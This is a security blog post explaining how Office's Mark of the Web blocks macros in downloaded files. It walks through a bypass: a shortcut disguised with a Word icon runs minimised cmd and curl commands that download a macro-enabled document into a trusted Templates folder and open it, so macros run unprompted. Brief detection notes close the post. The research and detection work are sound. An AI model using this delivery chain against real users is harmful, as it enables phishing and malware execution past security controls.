Skip to main content

In June 2022, Microsoft began rolling out a change to its Office suite that blocked Macro execution in documents originating from the internet. The intent behind this change was to decrease the prevalence of Office Macros being used in social engineering attacks. To quote Microsoft’s documentation:

VBA macros are a common way for malicious actors to gain access to deploy malware and ransomware. Therefore, to help improve security in Office, we’re changing the default behavior of Office applications to block macros in files from the internet.

I recall at the time having a number of discussions with clients where they indicated they would simply be undoing Microsoft’s changes due to the severe operational impact it would have across their organisations. Fast forward to today, and organisations have had time to make the necessary configuration changes to make use of this setting by default. Strengthening our preventative controls where possible is a good idea, but it is important that we understand how these controls are implemented so that we can supplement the gaps with additional controls, and be aware of these during an investigation. In this blog post, we’ll explore how this control is implemented, and how we can build a working phishing payload that uses this understanding to bypass the control.

What is MOTW and how does it work?

The aforementioned change from Microsoft is a control which centres around the concept of “Mark of the Web” (MOTW) which stores the origin of the file using a feature of the NTFS filesystem known as an alternate data stream (ADS). An ADS for a given file is denoted as filename:alternate data stream. So, for example, if we have the file myfile.txt and we wanted to create an ADS named mystream, this would be denoted as myfile.txt:mystream. It is worth noting that ADS’s have many use cases, and can be used for various malicious purposes, but this is beyond the scope of this blog. MOTW uses the Zone.Identifier ADS to store information regarding the file’s origin.

To see an example of how this works, we’ll open a web browser and download the file We will then open a command prompt window and use dir with the /R flag to display information concerning alternate data streams. In the screenshot below, we can see the file was downloaded along with the Zone.Identifier ADS.

We can then read the contents of the ADS with the following PowerShell command:

PS> Get-Content .\

The ZoneId value of 3 indicates that the file originated from the internet, and we can also see the URL the file originated from. It is worth noting that this Zone.Identifier stream is created by the browser software when the file is downloaded. Now, let’s download a macro-enabled Microsoft Word document and see what happens. Upon opening the document we are greeted with the following error message:

This shows us the effectiveness of the control because, as the document originates from an untrusted internet location, macro-execution is disabled without the option to enable it. At this point, security professionals may be tempted to throw away their state-of-the-art macro trade-craft, and defense analysts may think this avenue for initial compromise is successfully cut off. But, not so fast… If we can find a way to manipulate the Zone.Identifier or, better yet, prevent it from being created in the first place, we may be able to bypass this control.

It is worth noting that since this change was announced, many zero-day exploits and bypasses have been discovered as threat actors and red teamers look for ways to continue using their macro-based payloads. For the purposes of this blog we won’t focus on any zero-day exploits, but rather look at how we can use built-in functionality to bypass these controls.

Where did this come from?

We now know that when a file is downloaded from a web browser, it creates the Zone.Identifier to inform other software of where the file originated. Now, what happens if we instead use a built-in command line tool to download these files? Let’s use the following command to download our macro-enabled document using curl:

C:\Users\steve\Downloads> curl -o TotallyBenign_curl.docm

If we inspect the files in our downloads folder, we notice that although the original file – downloaded using a browser – has an associated Zone.Identifier, the file downloaded using curl does not.

Assuming our understanding of MOTW is correct, Microsoft Office now no longer has an indication of where the file originated from. Therefore, if we open the file we should be prompted with the option to allow macro execution. Opening the file reveals this is indeed the case:

We notice that the document now presents a warning but allows the user to enable macro execution. This was the default setting prior to the changes introduced in June 2022. It is worth adding that this requires the user to click through a warning, and while a victim of social engineering may click through the warning, this presents another point of failure for the attacker.

Let’s take a shortcut

We now have a means of bypassing the preventative control, but our means requires us to be in a position where we can execute commands on the victim’s machine. We should also consider that if we are to use this for social engineering, we need to ensure that the flow of execution mimics legitimate processes to reduce the likelihood of suspicion.

Shortcut files (.lnk) in Windows are commonly used for this exact purpose due to the following properties:

  • An arbitrary CMD command can be executed using the file’s Target directive.
  • The file supports a configuration item that specifies the shortcut should run in a minimized window, helping to avoid suspicion.
  • The icon for a shortcut file can be modified to make it appear as the file it is masquerading as.

This presents a wide range of options in terms of payload delivery. To develop a PoC, let’s create a shortcut file with the following attributes:

  • Set the Target property to: C:\Windows\System32\cmd.exe /c "curl -o TotallyBenign_curl.docm"
  • Select Minimized from the drop down selection for the Run property.
  • Select Change Icon and set it to a Microsoft Word document.

We should have a resulting shortcut file that looks something like this:

If we now double click the shortcut file, we will see that the document is successfully downloaded with no MOTW. Lets take this a step further and make the shortcut open the document once it is downloaded. We’ll do this by modifying the Target property as follows:

C:\Windows\System32\cmd.exe /c "curl -o ./TotallyBenign_curl.docm && TotallyBenign_curl.docm"

If we double click the shortcut we now see that our macro-enabled document is downloaded and opened. This works because the .docm file extension (and other Microsoft Office document formats) have their corresponding default applications assigned to these extensions. At this point, we have managed to bypass the control, and have a payload that follows the same “download and double click” approach. However, because we are now in a position where we can control the location of the downloaded file, we can also explore additional improvements to this payload.

Trusted Locations

The Trust Center settings for Microsoft office allows configuration of various security settings based on the document’s location, type, and digital signatures. The default setting for macro-enabled documents is set to “Disable all macros with notification”; this is what allows the user to enable macro execution on demand, if the document does not originate from the internet. If this setting were set to “Disable all macros without notification”, then the user would not be able to allow macro execution. However, even if the latter is configured, using the above payload, we can still achieve macro execution. For the purposes of this stage of the blog post, this setting has been configured to block all macros without notification.

In the Trust Center, there is a setting for Trusted Locations. Documents stored in these locations are not subject to the above macro settings. Therefore, regardless of the macro settings, if we are able to place a document in a trusted location, the macro will execute without manual intervention from the user.

By default in Microsoft Word, the following three locations are configured as trusted:

  • Application Templates – C:\Program Files\Microsoft Office\root\Templates\
  • User Templates – C:\Users\<user>\AppData\Roaming\Microsoft\Templates\
  • StartUp – C:\Users\<user>\AppData\Roaming\Microsoft\Word\Startup\

The last two in this default list are directories within the current user’s AppData folder and are therefore writable by the current user. With this knowledge, we’ll update the target of our shortcut file as follows:

C:\Windows\System32\cmd.exe /c "curl -o %appdata%\Microsoft\Templates\TotallyBenign_curl.docm && %appdata%\Microsoft\Templates\TotallyBenign_curl.docm"

This will now write the macro-enabled document to a default trusted location and open it. Recall that in the previous stage where we bypassed the MOTW, the user was prompted to allow macro execution. Upon double clicking the shortcut file we now observe the following:

The macro successfully executed without prompting the user, and despite the setting to block all macros, due to its location on disk being in the default trusted location. Although we may have been tempted to disregard macros as a means of execution, we now find that we can reuse our trade-craft simply by using an alternative delivery method that circumvents these controls.

Notes on Detection

The techniques and tactics used in this blog are presented to demonstrate the need to understand how our preventative controls are implemented such that we can supplement these with additional controls where possible, and take them into consideration during investigations when necessary.

  • This technique still requires the target to download a file. Although browsers typically do not support downloading a .lnk file directly, attackers would typically embed these in a ZIP archive.
  • Downloading of a .lnk file is typically uncommon.
  • Modifications to template files, and trusted locations does not occur frequently, allowing for monitoring controls to assist with detection.
  • Network communications from an Office process to a non-Microsoft domain could be an indication of Command and Control (C2) communication